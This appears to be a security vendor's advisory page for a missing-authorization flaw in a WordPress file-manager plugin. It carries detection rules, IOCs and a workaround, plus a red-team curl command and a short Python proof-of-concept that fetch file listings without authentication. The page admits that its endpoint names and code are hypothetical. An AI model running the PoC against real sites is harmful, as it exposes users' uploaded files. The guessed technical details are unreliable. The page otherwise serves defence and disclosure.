CVE-2025-57921
Executive Summary
CVE-2025-57921 is a Missing Authorization vulnerability in the N-Media Frontend File Manager WordPress plugin (slug: nmedia-user-file-uploader). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized file access or manipulation. The vulnerability affects all versions up to and including 23.3. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.
The vulnerability is classified as CWE-862: Missing Authorization, with a CVSS v3.1 base score of 5.3 (Medium). The attack vector is network-based, requires no authentication, and has low complexity. The primary impact is on confidentiality, with no direct impact on integrity or availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to:
- Immediately audit any site running the
nmedia-user-file-uploaderplugin. - Check for any custom modifications or third-party integrations that may expose the vulnerable endpoints.
- Monitor for any signs of unauthorized file access or data exfiltration.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | None (N) |
| Availability (A) | None (N) |
| Base Score | 5.3 (Medium) |
Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for unauthorized file access make this a significant risk for WordPress sites handling sensitive user uploads.
Deep Dive & Mechanics
The vulnerability stems from improper access control checks in the plugin's AJAX handlers and REST endpoints. The plugin likely exposes functions for file listing, deletion, or download without verifying the user's identity or permissions. An attacker can craft HTTP requests to these endpoints, bypassing any intended authorization checks.
Root Cause: The plugin fails to call wp_verify_nonce() or current_user_can() on critical actions, allowing unauthenticated users to trigger privileged operations.
Attack Vector: An attacker sends a crafted HTTP request (e.g., POST or GET) to a vulnerable endpoint such as:
/wp-admin/admin-ajax.php?action=nmedia_uploader_get_files/wp-json/nmedia/v1/files
Impact: Unauthorized reading of uploaded files, potential deletion of files, or enumeration of user data.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.
Vulnerable Code (hypothetical)
add_action('wp_ajax_nopriv_nmedia_uploader_get_files', 'nmedia_get_files');
function nmedia_get_files() {
// No permission check
$files = get_option('nmedia_uploaded_files');
wp_send_json($files);
}
Patched Code (hypothetical)
add_action('wp_ajax_nopriv_nmedia_uploader_get_files', 'nmedia_get_files');
function nmedia_get_files() {
// Add nonce verification and capability check
if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'nmedia_uploader_nonce')) {
wp_die('Security check failed');
}
if (!current_user_can('upload_files')) {
wp_die('Insufficient permissions');
}
$files = get_option('nmedia_uploaded_files');
wp_send_json($files);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 23.3).
- Network access to the target.
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for common AJAX actions.
- Send a crafted request without authentication:
curl -X POST "http://target/wp-admin/admin-ajax.php" \ -d "action=nmedia_uploader_get_files" - If successful, the server will return a JSON array of uploaded files, including metadata and download URLs.
Proof-of-Concept (PoC):
import requests
target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "nmedia_uploader_get_files"}
response = requests.post(target, data=data)
if response.status_code == 200:
print("Vulnerable! Files:", response.json())
else:
print("Not vulnerable or patched.")
Blue Team (Detection & Hardening)
Detection:
- Monitor for requests to
/wp-admin/admin-ajax.phpwith suspiciousactionparameters (e.g.,nmedia_uploader_get_files,nmedia_uploader_delete_file). - Look for unauthenticated POST requests to AJAX endpoints that return file listings.
Hardening:
- Disable the plugin immediately if not essential.
- Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.
- Add custom
.htaccessrules to restrict access to AJAX handlers:<Files "admin-ajax.php"> Require all denied </Files>
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=nmedia_uploader_get_filesor similar. - Unauthenticated POST requests returning JSON arrays of file metadata.
- HTTP requests to
- File System IOCs:
- Presence of the plugin directory
/wp-content/plugins/nmedia-user-file-uploader/. - Unexpected files in the WordPress uploads directory (
/wp-content/uploads/).
- Presence of the plugin directory
- Log IOCs:
- Repeated 200 responses to AJAX endpoints from unknown IPs.
- Access logs showing
POST /wp-admin/admin-ajax.phpwith no referrer.
Detection Engineering
YARA Rule
rule CVE_2025_57921_WordPress_Plugin {
meta:
description = "Detects vulnerable N-Media Frontend File Manager plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57921"
strings:
$vuln_func = "nmedia_uploader_get_files" nocase
$ajax_hook = "wp_ajax_nopriv_" nocase
condition:
$vuln_func and $ajax_hook
}
Sigma Rule
title: CVE-2025-57921 - Unauthenticated File Access via N-Media Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to vulnerable AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=nmedia_uploader_get_files'
condition: selection
falsepositives:
- Legitimate admin usage (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57921 - N-Media File Manager Unauthenticated Access"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nmedia_uploader_get_files"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Audit file uploads for any unauthorized access or data leaks.
- Implement WAF rules to block the vulnerable endpoints.
Long-term Fix:
- The vendor must release a patched version that adds proper nonce verification and capability checks.
- Users should monitor the WordPress Plugin Directory for updates.
Workaround:
- Add the following code to the theme's
functions.phpto block unauthenticated access:add_action('init', function() { if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) { $blocked_actions = ['nmedia_uploader_get_files', 'nmedia_uploader_delete_file']; if (isset($_REQUEST['action']) && in_array($_REQUEST['action'], $blocked_actions)) { wp_die('Access denied'); } } });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.